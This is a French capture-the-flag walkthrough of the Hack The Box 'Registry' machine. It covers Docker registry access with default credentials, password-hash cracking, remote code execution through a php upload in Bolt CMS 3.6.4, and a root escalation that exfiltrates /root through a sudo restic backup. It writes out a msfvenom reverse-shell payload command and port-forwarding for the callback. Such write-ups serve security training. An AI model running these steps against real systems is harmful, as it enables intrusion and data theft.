Hack The Box. Registre de passage. Docker, RCE dans CMS Bolt et Restic

image

Je continue de publier des solutions envoyées pour un traitement ultérieur à partir du site HackTheBox . J'espère que cela aidera au moins quelqu'un à se développer dans le domaine de la sécurité de l'information. Dans cet article, nous aborderons l'enregistrement des dockers, exécuter RCE dans CMS Bolt et augmenter les privilèges avec le programme de sauvegarde Restic.

La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où les données importantes pour vous sont disponibles, car vous vous retrouvez sur un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)

Information organisationnelle
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Recon


Cette machine a une adresse IP 10.10.10.159, que j'ajoute à / etc / hosts.

10.10.10.159    registry.htb

Tout d'abord, nous analysons les ports ouverts. Puisqu'il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP à partir de l'interface tun0 à une vitesse de 1000 paquets par seconde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000

image

Maintenant, pour des informations plus détaillées sur les services qui fonctionnent sur les ports, nous allons exécuter une analyse avec l'option -A.

nmap -A registry.htb -p22,80,443

image

L'hôte a 3 ports ouverts, tandis que le certificat (port 443) est pour docker.registry.htb. Ajoutez-le également à / etc / hosts.

10.10.10.159    docker.registry.htb

Lorsque vous tournez à registry.htb, nous sommes accueillis par l'invite nginx, et docker.registry.htb, nous voyons une page blanche.

Passons en revue les répertoires en utilisant gobuster. Dans les paramètres, nous indiquons le nombre de flux 128 (-t), URL (-u), dictionnaire (-w) et extensions qui nous intéressent (-x).

gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

image

Backup.php ne nous donne rien, dans bolt il y a un site avec CMS Bolt, et dans l'installation il y a un fichier, téléchargez-le.

wget http://registry.htb/install/ -O ind

Et nous découvrons de quel type de fichier il s'agit.

image

Nous pouvons lire «les données compressées gzip» tout de suite.

image

De cette façon, nous obtenons le certificat et les liens vers la documentation de référence du docker.
Dans le cas d'un autre domaine, ajoutez l'option -k pour ignorer la vérification du certificat.

gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

image

Passons maintenant au répertoire v2, et nous sommes satisfaits par l'authentification.

image

Et la combinaison la plus simple admin: admin nous donne accès. L'hôte exécute docker regisrty, par conséquent, comme suit à partir de l'explication suivante, nous examinerons ses référentiels à l'adresse suivante: docker.registry.htb / v2 / _catalog .

image

Et nous trouvons un référentiel.

image

Installons Docker et passons à la documentation d'installation du certificat.

image

Accédez au répertoire / etc / docker et ajoutez le certificat de l'archive.

sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb\:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt

image

Connectez-vous maintenant à Docker.

image

Maintenant chargez l'image.

sudo docker pull docker.registry.htb:443/bolt-image:latest

image

Et lancez-le.

sudo docker run -it docker.registry.htb:443/bolt-image:latest

Et la première chose que nous regardons est SSH. Heureusement, il existe une clé, ainsi qu'une configuration, à partir de laquelle il devient clair que notre utilisateur est verrouillé.

image

Mais le fait est que la clé est cryptée. Cela signifie que lorsqu'ils seront connectés, ils demanderont un mot de passe. Le résultat est une recherche dans les fichiers de la chaîne «pass».

grep -i -r "pass" ./etc/

image

Ce script demande un mot de passe pour déchiffrer la clé. Et la réponse y est donnée.

image

Connectez-vous via ssh avec notre clé.

image

Il y avait un fichier backup.php sur l'hôte, regardons ce qu'il contient.

image

C'est ainsi que sudo est utilisé, et apparemment sans mot de passe. Mais bolt nécessite un mot de passe.

image

Cela signifie que nous devons obtenir l'utilisateur du service. Étant donné que CMS Bolt est utilisé, nous pouvons accéder à la base de données sqlite. Télécharge le.

scp -i bolt_key bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./

Commençons à travailler avec la base de données.

sqlite3 bolt.db

Voyons les tableaux.

image

Et obtenez les entrées de la table bolt_users.

image

Nous avons donc un hachage administrateur. Itérer dessus à l'aide du JTR.

image

Connectez-vous maintenant à Bolt en tant qu'administrateur. Et nous observons la version 3.6.4.

image

Il y a des exploits pour cette version.

image

La vulnérabilité est que nous pouvons ajouter à la configuration l'extension de fichier que nous devons télécharger, puis télécharger le fichier. Faisons un fichier php avec une charge (je dirai à l'avance que cela n'a tout simplement pas fonctionné pour se connecter en arrière; par conséquent, le port 4321 a été transmis :) ssh -i ./bolt_key bolt@registry.htb -R:432:10.0.0.0:4321.

msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php

Et exécutez l'auditeur.

image

Passons par Configuration -> Configuration principale et ajoutons l'extension php pour pouvoir télécharger le fichier.

image

Ensuite, allez dans Gestion des fichiers -> Télécharger des fichiers et ajoutez le fichier. Après y avoir accédé, nous verrons la connexion.

image

Lancez le shell bash, nous observons également que nous travaillons pour le compte de l'utilisateur du service.

image

Vérifions sudo, observons que la commande de backup.php peut être exécutée sous sudo sans mot de passe.

image

Restic est un programme de sauvegarde écrit en Golang. Comme nous pouvons faire une sauvegarde sous sudo, nous pouvons copier tout le répertoire racine. Tout d'abord, passons par le port 8000.

ssh -i ./bolt_key bolt@registry.htb -R:8000:0.0.0.0:8000

Installez et exécutez rest-server (sur 8000 post sans authentification).

image

Connectons et initialisons la sauvegarde (restr1).

image

Maintenant, sauvegardez le répertoire racine.

image

La sauvegarde a été enregistrée sur la machine locale. Voyons tous les fichiers enregistrés. Trouvez la clé SSH.

restic -r /tmp/restic/restr1/ ls latest

image

Restaurez-le.

image

Relier

image

Nous avons un accès complet au système.

Vous pouvez nous rejoindre sur Telegram . Vous y trouverez du matériel intéressant, des cours fusionnés ainsi que des logiciels. Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pourrons toujours nous entraider pour tout problème informatique et de sécurité de l'information.

All Articles